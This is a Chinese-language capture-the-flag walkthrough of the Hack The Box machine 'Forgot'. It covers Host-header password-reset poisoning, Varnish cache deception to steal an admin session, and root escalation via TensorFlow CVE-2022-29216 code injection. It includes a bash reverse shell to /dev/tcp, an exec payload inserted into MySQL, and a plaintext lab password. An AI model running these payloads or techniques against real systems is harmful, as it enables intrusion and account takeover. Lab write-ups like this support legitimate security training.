HTB-Forgot
一、思路概要
- 信息搜集暴露信息:
①页面源码暴露用户robert-dev-14522;
②暴露varnish反向代理缓存可利用点(路径匹配/script
); - 重置密码功能投毒成功修改robert-dev-14522密码,登录网站;
- Varnish缓存欺骗登录admin用户,获取SSH用户diego;
- SSH连接发现关键文件
ml_security.py
; - 代码审计+CVE-2022-29216命令执行反弹shell获取root权限。
二、信息搜集
nmap
┌──(root💀kali)-[~/Desktop]
└─# nmap -sC -sV 10.10.11.188
Starting Nmap 7.91 ( https://nmap.org ) at 2023-03-06 02:21 EST
Nmap scan report for 10.10.11.188
Host is up (0.62s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open http Werkzeug/2.1.2 Python/3.8.10
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 NOT FOUND
| Server: Werkzeug/2.1.2 Python/3.8.10
| Date: Mon, 06 Mar 2023 07:20:37 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 207
| X-Varnish: 493857 493844
| Age: 71
| Via: 1.1 varnish (Varnish/6.2)
| Connection: close
| <!doctype html>
| <html lang=en>
| <title>404 Not Found</title>
| <h1>Not Found</h1>
| <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
| GetRequest:
| HTTP/1.1 302 FOUND
| Server: Werkzeug/2.1.2 Python/3.8.10
| Date: Mon, 06 Mar 2023 07:21:38 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 219
| Location: http://127.0.0.1
| X-Varnish: 493852
| Age: 0
| Via: 1.1 varnish (Varnish/6.2)
| Connection: close
| <!doctype html>
| <html lang=en>
| <title>Redirecting...</title>
| <h1>Redirecting...</h1>
| <p>You should be redirected automatically to the target URL: <a href="http://127.0.0.1">http://127.0.0.1</a>. If not, click the link.
| HTTPOptions:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.1.2 Python/3.8.10
| Date: Mon, 06 Mar 2023 07:21:40 GMT
| Content-Type: text/html; charset=utf-8
| Allow: OPTIONS, GET, HEAD
| Content-Length: 0
| X-Varnish: 264229
| Age: 0
| Via: 1.1 varnish (Varnish/6.2)
| Accept-Ranges: bytes
| Connection: close
| RTSPRequest, SIPOptions:
|_ HTTP/1.1 400 Bad Request
|_http-server-header: Werkzeug/2.1.2 Python/3.8.10
|_http-title: Login
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
......
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 190.69 seconds
开放端口:22(SSH)、80(HTTP),并且观察到http-server-header是Werkzeug/2.1.2和Python/3.8.10,那么就极有可能是Flask框架
访问10.10.11.188
,是个登录页面,可以爆破,但这不是上策

查看页面源码,发现如下注释内容
暴露了用户robert-dev-14522
,而且在/static
目录加载了很多js文件
点击FOGOT THE PASSWORD?
,跳转到如下/forogt
页面,需要输入用户名

输入admin,会提示admin用户的密码不能被重置

随便输入其他用户名,会提示无效用户名

随便访问一个目录,404页面

google一下404页面内容,基本确定是flask框架

用feroxbuster
爆一下目录
┌──(root💀kali)-[~/Desktop]
└─# feroxbuster -u http://10.10.11.188/
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.7.3
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.10.11.188/
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.7.3
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200 GET 246l 484w 5186c http://10.10.11.188/
200 GET 246l 484w 5189c http://10.10.11.188/login
302 GET 5l 22w 189c http://10.10.11.188/home => http://10.10.11.188/
302 GET 5l 22w 189c http://10.10.11.188/tickets => http://10.10.11.188/
200 GET 253l 498w 5227c http://10.10.11.188/forgot
200 GET 261l 517w 5523c http://10.10.11.188/reset
[####################] - 3m 30000/30000 0s found:6 errors:0
[####################] - 3m 30000/30000 154/s http://10.10.11.188/
五个目录:/login
、/home
、/tickets
、/forgot
、/reset
/login
是默认登陆页面,/forgot
刚访问过,/home
和/tickets
会重定向到登陆页面,那就试试访问/reset
,可以访问,相当于跳过了/forgot
页面输入用户名的过程

随便输入密码,发现会提示无效token,那说明还是要回到/forgot
页面,想办法拿到token

回到/forgot
页面,输入刚才发现的用户名robert-dev-14522
,看提示,应该是有效用户,但重置密码的链接发送到用户收件箱

三、重置密码功能投毒
参考https://portswigger.net/web-security/host-header/exploiting/password-reset-poisoning
盘一盘重置密码的逻辑:
第一步,用户输入用户名,提交重置密码请求;
第二步,服务器检查用户名是否存在,然后生成一个临时token,连带token返回一个重置密码的链接到用户的inbox
;
第三步,用户访问重置密码链接,服务器验证token,token一致则可以重置密码,否则提示token无效
那么我们可以在第一步,截获用户提交的重置密码请求,修改HTTP头部Host
字段值为攻击机IP,然后在攻击机IP开启http服务监听,当服务器做完第二步返回带token的重置密码的链接时,攻击机就可以收到此响应。
攻击机开启监听
python3 -m http.server 80
用刚才的robert-dev-14522
用户重新发送重置密码请求,截获请求包,修改host字段为本地ip,点击send
稍等片刻,我们就收到了服务器的响应,是个带有token的重置密码URL
┌──(root💀kali)-[~/Desktop]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.188 - - [06/Mar/2023 04:02:02] code 404, message File not found
10.10.11.188 - - [06/Mar/2023 04:02:02] "GET /reset?token=ZSDRCRl0pCgor%2FJNZl%2BgMY%2FMKBEBlPFYJZSdq4Yiti3oiS6qX3ipoFp4wFP5zD1EFR6R4oD11M4ht8kJ0X8S3w%3D%3D HTTP/1.1" 404 -
浏览器访问带token的重置密码URL,可看到成功重置密码

然后成功登录主页面,查看各个页面,大致剖析一下这网站功能:就是网站用户如果遇到一些权限相关的问题时(比如无法访问某站点、想做一些比自己权限高的事情),可以在[Escalate]页面提交提权申请,然后Tickets就会显示各个用户提交申请的相关信息,比如用户因为什么问题需要提权、哪个用户提交的、该用户现在的权限状态是怎样的。这个逻辑没盘明白,后面可能会一头雾水。

点击Tickets,可看到一个表格,表格最后一栏显示Diego用户的SSH凭证不能用,而且此用户权限已被提升,那么我们试图查看已被提权的页面[Tickets(escalated)]

却发现Tickets(escalated)
无法点击,有点可疑,F12查看有目录/admin_tickets
,已提权的用户应该给的是admin权限,那么Diego用户应该就被提升到admin权限了,那么我们就可以尝试以admin身份登录网站,从而看到Diego用户的用户名密码,也就是SSH的用户名密码。F12把class值删除或者直接访问/admin_tickets
目录都无效,会跳转到http://10.10.11.188/home?err=ACCESS_DENIED

四、web缓存欺骗
回头看nmap的扫描结果,HTTP响应有两个罕见的字段X-Varnish
和Via
HTTP/1.1 200 OK
Server: Werkzeug/2.1.2 Python/3.8.10
Date: Mon, 06 Mar 2023 07:21:40 GMT
Content-Type: text/html; charset=utf-8
Allow: OPTIONS, GET, HEAD
Content-Length: 0
X-Varnish: 264229
Age: 0
Via: 1.1 varnish (Varnish/6.2)
Accept-Ranges: bytes
Connection: close
Varnish是一个用作缓存的反向代理程序
X-Varnish是Varnish生成的ID号
Via在此处相当于指明网站服务用的HTTP/1.1和Varnish/6.2
参考https://labs.withsecure.com/advisories/plone-cms-cache-poisoning-xss-vulnerability
前面在源码看到网站在/static目录加载了很多信息,而且有反向代理Varnish作缓存,那么就用curl测试一下HTTP响应头部字段,如下,可看到curl -I "http://10.10.11.188/"
响应头无cache-control
字段
┌──(root💀kali)-[~/Desktop]
└─# curl -I "http://10.10.11.188/"
HTTP/1.1 200 OK
Server: Werkzeug/2.1.2 Python/3.8.10
Date: Tue, 07 Mar 2023 03:50:02 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 5186
X-Varnish: 596113
Age: 0
Via: 1.1 varnish (Varnish/6.2)
Accept-Ranges: bytes
Connection: keep-alive
如下,curl -I "http://10.10.11.188/static/"
响应头有cache-control
字段,而且该字段设置的权限是public
,即可向任意方提供缓存
┌──(root💀kali)-[~/Desktop]
└─# curl -I "http://10.10.11.188/static/"
HTTP/1.1 404 NOT FOUND
Server: Werkzeug/2.1.2 Python/3.8.10
Date: Mon, 06 Mar 2023 14:44:46 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 207
cache-control: public, max-age=240
X-Varnish: 137222 1902052
Age: 47073
Via: 1.1 varnish (Varnish/6.2)
Connection: keep-alive
curl -I "http://10.10.11.188/static/wa0er"
响应头有cache-control
字段
┌──(root💀kali)-[~/Desktop]
└─# curl -I "http://10.10.11.188/static/wa0er"
HTTP/1.1 404 NOT FOUND
Server: Werkzeug/2.1.2 Python/3.8.10
Date: Tue, 07 Mar 2023 03:49:24 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 207
cache-control: public, max-age=240
X-Varnish: 137236
Age: 0
Via: 1.1 varnish (Varnish/6.2)
Connection: keep-alive
继续测试,得到如下结果
curl -I "http://10.10.11.188/staticwa0er" #有cache-control字段
curl -I "http://10.10.11.188/wa0er/static" #有cache-control字段
curl -I "http://10.10.11.188/wa0erstatic" #无cache-control字段
由此推测,Varnish应该是匹配”/static”字符串,匹配成功,则返回缓存信息。我们肯定没法通过网站正常的提交提权申请的流程去获得admin权限,但知道用Varnish做了缓存,且cache-control
字段有public
,那么我们就可以尝试读缓存。
在[Escalate]页面,Link内容填写带有/static
的URL,提交提权申请

然后在本地执行curl请求对应的URL,获取session值(在burp抓包重放也可以)
curl -I http://10.10.11.188/static/wa0er
Set-Cookie: session=c0204f3b-c808-47db-ad92-7e4abbebe2be; HttpOnly; Path=/
F12→Storage→Cookies,session值改为获取到的session值
重新访问http://10.10.11.188/admin_tickets

可以看到获取到了diego账户密码
diego
dCb#1!x0%gjq
ssh连上去
五、权限提升
前面知道diego用户已被提权,所以应该是有sudo权限,可以执行sudo -l
看一下diego用户权限,发现有个/opt/security/ml_security.py
可以执行
看一下内容
#!/usr/bin/python3
import sys
import csv
import pickle
import mysql.connector
import requests
import threading
import numpy as np
import pandas as pd
import urllib.parse as parse
from urllib.parse import unquote
from sklearn import model_selection
from nltk.tokenize import word_tokenize
from sklearn.linear_model import LogisticRegression
from gensim.models.doc2vec import Doc2Vec, TaggedDocument
from tensorflow.python.tools.saved_model_cli import preprocess_input_exprs_arg_string
np.random.seed(42)
f1 = '/opt/security/lib/DecisionTreeClassifier.sav'
f2 = '/opt/security/lib/SVC.sav'
f3 = '/opt/security/lib/GaussianNB.sav'
f4 = '/opt/security/lib/KNeighborsClassifier.sav'
f5 = '/opt/security/lib/RandomForestClassifier.sav'
f6 = '/opt/security/lib/MLPClassifier.sav'
# load the models from disk
loaded_model1 = pickle.load(open(f1, 'rb'))
loaded_model2 = pickle.load(open(f2, 'rb'))
loaded_model3 = pickle.load(open(f3, 'rb'))
loaded_model4 = pickle.load(open(f4, 'rb'))
loaded_model5 = pickle.load(open(f5, 'rb'))
loaded_model6 = pickle.load(open(f6, 'rb'))
model= Doc2Vec.load("/opt/security/lib/d2v.model")
# Create a function to convert an array of strings to a set of features
def getVec(text):
features = []
for i, line in enumerate(text):
test_data = word_tokenize(line.lower())
v1 = model.infer_vector(test_data)
featureVec = v1
lineDecode = unquote(line)
lowerStr = str(lineDecode).lower()
feature1 = int(lowerStr.count('link'))
feature1 += int(lowerStr.count('object'))
feature1 += int(lowerStr.count('form'))
feature1 += int(lowerStr.count('embed'))
feature1 += int(lowerStr.count('ilayer'))
feature1 += int(lowerStr.count('layer'))
feature1 += int(lowerStr.count('style'))
feature1 += int(lowerStr.count('applet'))
feature1 += int(lowerStr.count('meta'))
feature1 += int(lowerStr.count('img'))
feature1 += int(lowerStr.count('iframe'))
feature1 += int(lowerStr.count('marquee'))
# add feature for malicious method count
feature2 = int(lowerStr.count('exec'))
feature2 += int(lowerStr.count('fromcharcode'))
feature2 += int(lowerStr.count('eval'))
feature2 += int(lowerStr.count('alert'))
feature2 += int(lowerStr.count('getelementsbytagname'))
feature2 += int(lowerStr.count('write'))
feature2 += int(lowerStr.count('unescape'))
feature2 += int(lowerStr.count('escape'))
feature2 += int(lowerStr.count('prompt'))
feature2 += int(lowerStr.count('onload'))
feature2 += int(lowerStr.count('onclick'))
feature2 += int(lowerStr.count('onerror'))
feature2 += int(lowerStr.count('onpage'))
feature2 += int(lowerStr.count('confirm'))
# add feature for ".js" count
feature3 = int(lowerStr.count('.js'))
# add feature for "javascript" count
feature4 = int(lowerStr.count('javascript'))
# add feature for length of the string
feature5 = int(len(lowerStr))
# add feature for "<script" count
feature6 = int(lowerStr.count('script'))
feature6 += int(lowerStr.count('<script'))
feature6 += int(lowerStr.count('<script'))
feature6 += int(lowerStr.count('%3cscript'))
feature6 += int(lowerStr.count('%3c%73%63%72%69%70%74'))
# add feature for special character count
feature7 = int(lowerStr.count('&'))
feature7 += int(lowerStr.count('<'))
feature7 += int(lowerStr.count('>'))
feature7 += int(lowerStr.count('"'))
feature7 += int(lowerStr.count('\''))
feature7 += int(lowerStr.count('/'))
feature7 += int(lowerStr.count('%'))
feature7 += int(lowerStr.count('*'))
feature7 += int(lowerStr.count(';'))
feature7 += int(lowerStr.count('+'))
feature7 += int(lowerStr.count('='))
feature7 += int(lowerStr.count('%3C'))
# add feature for http count
feature8 = int(lowerStr.count('http'))
# append the features
featureVec = np.append(featureVec,feature1)
featureVec = np.append(featureVec,feature2)
featureVec = np.append(featureVec,feature3)
featureVec = np.append(featureVec,feature4)
featureVec = np.append(featureVec,feature5)
featureVec = np.append(featureVec,feature6)
featureVec = np.append(featureVec,feature7)
featureVec = np.append(featureVec,feature8)
features.append(featureVec)
return features
# Grab links
conn = mysql.connector.connect(host='localhost',database='app',user='diego',password='dCb#1!x0%gjq')
cursor = conn.cursor()
cursor.execute('select reason from escalate')
r = [i[0] for i in cursor.fetchall()]
conn.close()
data=[]
for i in r:
data.append(i)
Xnew = getVec(data)
#1 DecisionTreeClassifier
ynew1 = loaded_model1.predict(Xnew)
#2 SVC
ynew2 = loaded_model2.predict(Xnew)
#3 GaussianNB
ynew3 = loaded_model3.predict(Xnew)
#4 KNeighborsClassifier
ynew4 = loaded_model4.predict(Xnew)
#5 RandomForestClassifier
ynew5 = loaded_model5.predict(Xnew)
#6 MLPClassifier
ynew6 = loaded_model6.predict(Xnew)
# show the sample inputs and predicted outputs
def assessData(i):
score = ((.175*ynew1[i])+(.15*ynew2[i])+(.05*ynew3[i])+(.075*ynew4[i])+(.25*ynew5[i])+(.3*ynew6[i]))
if score >= .5:
try:
preprocess_input_exprs_arg_string(data[i],safe=False)
except:
pass
for i in range(len(Xnew)):
t = threading.Thread(target=assessData, args=(i,))
# t.daemon = True
t.start()
分析一下代码功能
- 从app数据库escalate表的reason列取值(代码112-121行),将此值作为输入,匹配其中的特征字段(代码45-98行的feature)作为特征向量(不必纠结特征向量是个什么东西)
- 然后用若干种机器学习模型(代码123-134行)去预测输出
- 最后对输出把输入和输出都序列化成某种数据格式(代码136-148,这里的数据格式不必过分纠结,估计是为了看着方便)
注意:有个前提,匹配到了相关特征字段,才会有可能满足序列化数据的条件(具体可看score参数的传递链),才会执行第3步,从而才会去执行preprocess_input_exprs_arg_string(data[i],safe=False)
那么有连接数据库的操作,用户名密码依然是diego的用户名密码
问题就出现在preprocess_input_exprs_arg_string(data[i],safe=False)
,google搜了一下,是CVE-2022-29216,可以代码注入
参考https://github.com/advisories/GHSA-75c9-jrh4-79mc
稍微分析一下这个CVE原理,下面代码段是存在漏洞的版本(tensorflow2.6.3)preprocess_input_exprs_arg_string()
函数的源码,主要问题就在于safe参数如果设为false,那么第12行判断if safe
就会返回布尔0,从而跳转到18行else
,然后执行eval(expr)
,分析expr
参数传递路线,也就是执行了input_exprs_str
第一个等号后的表达式
def preprocess_input_exprs_arg_string(input_exprs_str, safe=True):
"""
......
"""
input_dict = {}
for input_raw in filter(bool, input_exprs_str.split(';')):
if '=' not in input_exprs_str:
raise RuntimeError('--input_exprs "%s" format is incorrect. Please follow'
'"<input_key>=<python expression>"' % input_exprs_str)
input_key, expr = input_raw.split('=', 1)
if safe:
try:
input_dict[input_key] = ast.literal_eval(expr)
except:
raise RuntimeError(
f'Expression "{expr}" is not a valid python literal.')
else:
# ast.literal_eval does not work with numpy expressions
input_dict[input_key] = eval(expr) # pylint: disable=eval-used
return input_dict
综上分析,我们可以在app数据库escalate表的reason列插入一个键值对(a=b格式),键名称任意,值为构造好的python代码(因为最终是代入到/opt/security/ml_security.py
文件执行),其中包含执行反弹shell文件的代码,且包含刚才分析所提到的特征字段的任意一个,示例如下
hello=exec("""\nimport os\nos.system("/tmp/wa0er_rev.sh")\nprint("%3CSCRIPT%3Ealert%28%22wa0er%22%29%3C/SCRIPT%3E")""")
开始操作,看一下tensorflow的版本是2.6.3,是漏洞存在的版本
diego@forgot:~$ pip show tensorflow
Name: tensorflow
Version: 2.6.3
Summary: TensorFlow is an open source machine learning framework for everyone.
Home-page: https://www.tensorflow.org/
Author: Google Inc.
Author-email: packages@tensorflow.org
License: Apache 2.0
Location: /usr/local/lib/python3.8/dist-packages
Requires: keras, h5py, grpcio, tensorflow-estimator, termcolor, opt-einsum, six, keras-preprocessing, protobuf, tensorboard, absl-py, google-pasta, wrapt, wheel, flatbuffers, typing-extensions, gast, astunparse, numpy, clang
Required-by:
在/tmp目录写一个反弹shell文件
diego@forgot:~$ vim /tmp/wa0er_rev.sh
#!/bin/bash
bash -i >& /dev/tcp/[本地IP]/[本地PORT] 0>&1
diego@forgot:~$ chmod +x /tmp/wa0er_rev.sh
连接mysql
进到app数据库
执行如下sql语句,在escalate表里插入内容
insert into escalate values ("wa0er","wa0er","wa0er",'hello=exec("""\nimport os\nos.system("/tmp/wa0er_rev.sh")\nprint("%3CSCRIPT%3Ealert%28%22wa0er%22%29%3C/SCRIPT%3E")""")');
可以看到第四列reason有我们注入的代码
开启nc监听
nc -nvlp [PORT]
执行脚本
sudo /opt/security/ml_security.py
拿到root,Over!

参考
https://0xdf.gitlab.io/2023/03/04/htb-forgot.html
https://infosecwriteups.com/forgot-hack-the-box-walkthrough-htb-e571fd151f9a
https://www.usenix.org/conference/usenixsecurity20/presentation/mirheidari